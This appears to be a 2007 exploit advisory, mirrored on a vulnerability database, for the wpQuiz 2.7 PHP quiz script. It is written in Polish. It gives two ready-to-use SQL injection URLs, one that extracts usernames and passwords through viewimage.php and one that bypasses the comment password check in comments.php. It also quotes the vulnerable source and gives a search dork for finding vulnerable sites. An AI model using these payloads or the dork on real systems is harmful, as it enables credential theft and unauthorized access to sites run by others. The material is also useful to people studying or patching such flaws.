wpQuiz 2.7 Multiple Remote SQL Injection Vulnerabilities

🗓️ 28 Nov 2007 00:00:00Reported by RootType
wpQuiz 2.7 Multiple Remote SQL Injection Vulnerabilities on wireplastik.co

                                                Tytul:&nbsp;wpQuiz&nbsp;2.7&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
###&nbsp;http://wireplastik.com/projects.php


Autor:&nbsp;Kacper
E-Mail:&nbsp;[email protected]
Strona:&nbsp;devilteam.eu

Irc:&nbsp;irc.myg0t.com&nbsp;#devilteam

Blad:


viewimage.php?id=-1'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,concat(user,char(58),password),14,15+from+users+where+id=1/*

Pozniej&nbsp;sciagnij&nbsp;obrazek&nbsp;i&nbsp;sprawdz&nbsp;jego&nbsp;zrodlo!


==========================================================================================================================
Kolejny&nbsp;blad&nbsp;dotyczy&nbsp;nieautoryzowanego&nbsp;dostepu&nbsp;do&nbsp;komentowania&nbsp;wynikow&nbsp;na&nbsp;quizie.








Skopiowane&nbsp;prosto&nbsp;z&nbsp;=&gt;&nbsp;http://devilteam.eu/forum/topics92/bypass-za-pomoca-sql-wpquiz-vt4278.htm
==========================================================================================================================
Elo,&nbsp;ostatnio&nbsp;natknolem&nbsp;sie&nbsp;na&nbsp;ciekawy&nbsp;skrypt&nbsp;Quizowy&nbsp;(WpQuiz)&nbsp;i&nbsp;znalazlem&nbsp;w&nbsp;nim&nbsp;pare&nbsp;ciekawych&nbsp;bledow.&nbsp;

w&nbsp;skrypcie&nbsp;istnieje&nbsp;opcja&nbsp;pozwalajaca&nbsp;na&nbsp;blokowanie&nbsp;na&nbsp;haslo&nbsp;przez&nbsp;administratora&nbsp;komentowania&nbsp;wynikow&nbsp;w&nbsp;quizie.&nbsp;

Plik&nbsp;comments.php&nbsp;zawiera&nbsp;zrodlo:&nbsp;
Kod:
$no&nbsp;=&nbsp;$_GET['id'];&nbsp;
$setcheck&nbsp;=&nbsp;mysql_fetch_array(mysql_query(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;sets&nbsp;WHERE&nbsp;id='&quot;.$no.&quot;'&quot;));&nbsp;
if(&nbsp;mysql_affected_rows()&nbsp;==&nbsp;0&nbsp;){&nbsp;
geterror(&quot;commentsinvalidset&quot;);&nbsp;
}&nbsp;
if(&nbsp;$setcheck['isopen']&nbsp;==&nbsp;0&nbsp;){&nbsp;
geterror(&quot;commentsquestionsetclosed&quot;);&nbsp;
}&nbsp;
if($setcheck['password']&nbsp;!=&nbsp;&quot;&quot;){&nbsp;
if(&nbsp;!isset($_POST['password'])&nbsp;||&nbsp;($_POST['password']&nbsp;!=&nbsp;$setcheck['password'])&nbsp;){&nbsp;
?&gt;&nbsp;
&lt;form&nbsp;name=&quot;pwCheck&quot;&nbsp;action=&quot;&lt;?=&nbsp;$_SERVER['PHP_SELF']&nbsp;?&gt;?id=&lt;?=$no?&gt;&quot;&nbsp;method=&quot;post&quot;&gt;&nbsp;
&lt;div&nbsp;class=&quot;pagehead&quot;&gt;&lt;span&nbsp;class=&quot;big&quot;&gt;&lt;b&gt;&lt;?=getlang(&quot;commentspasswordheader&quot;,1)?&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&nbsp;
&lt;b&gt;&lt;?=getlang(&quot;commentspasswordrequest&quot;,1)?&gt;&lt;/b&gt;&lt;br&nbsp;/&gt;&nbsp;
&lt;?=getlang(&quot;commentspassword&quot;,1)?&gt;&nbsp;&lt;input&nbsp;type=&quot;password&quot;&nbsp;name=&quot;password&quot;&nbsp;/&gt;&nbsp;
&lt;input&nbsp;type=&quot;submit&quot;&nbsp;value=&quot;&lt;?=getlang(&quot;commentspasswordsubmit&quot;,1)?&gt;&quot;&nbsp;/&gt;&nbsp;
&lt;/form&gt;&nbsp;
&lt;?php&nbsp;
exit;&nbsp;
}&nbsp;
}



jak&nbsp;widac:&nbsp;
Kod:
if($setcheck['password']&nbsp;!=&nbsp;&quot;&quot;){



skrypt&nbsp;pobiera&nbsp;informacje&nbsp;z&nbsp;bazy&nbsp;danych&nbsp;na&nbsp;temat&nbsp;blokowania&nbsp;komentowania.&nbsp;Jesli&nbsp;ta&nbsp;opcja&nbsp;bedzie&nbsp;pusta&nbsp;czyli&nbsp;(null=0)&nbsp;to&nbsp;skrypt&nbsp;nie&nbsp;zawola&nbsp;o&nbsp;haslo.&nbsp;

wiec&nbsp;wykonujemy&nbsp;zapytanie&nbsp;SQL&nbsp;dzieki&nbsp;linijce:&nbsp;
Kod:
$no&nbsp;=&nbsp;$_GET['id'];&nbsp;
$setcheck&nbsp;=&nbsp;mysql_fetch_array(mysql_query(&quot;SELECT&nbsp;*&nbsp;FROM&nbsp;sets&nbsp;WHERE&nbsp;id='&quot;.$no.&quot;'&quot;));



Nasze&nbsp;zapytanie:&nbsp;
Kod:
comments.php?id=-9'+union+select+0,1,2,3,4,5,null,7,8,9,10,11,12,13/*



metoda&nbsp;prob&nbsp;i&nbsp;bledow&nbsp;doszedlem&nbsp;do&nbsp;tego&nbsp;&amp;iquest;e&nbsp;kolumna&nbsp;numer&nbsp;6&nbsp;odpowiada&nbsp;za&nbsp;haslo&nbsp;i&nbsp;dalem&nbsp;tam&nbsp;null'a&nbsp;&nbsp;

taki&nbsp;maly&nbsp;tutek&nbsp;mo&amp;iquest;e&nbsp;sie&nbsp;przydac&nbsp;dla&nbsp;tych&nbsp;co&nbsp;chca&nbsp;cos&nbsp;omijac&nbsp;zablokowanego&nbsp;na&nbsp;haslo&nbsp;&nbsp;
==========================================================================================================================

//dork:&quot;Powered&nbsp;by&nbsp;wpQuiz&quot;&nbsp;

Pozdrawiam
28 Nov 2007 00:00Current
7.1High risk
Vulners AI Score7.1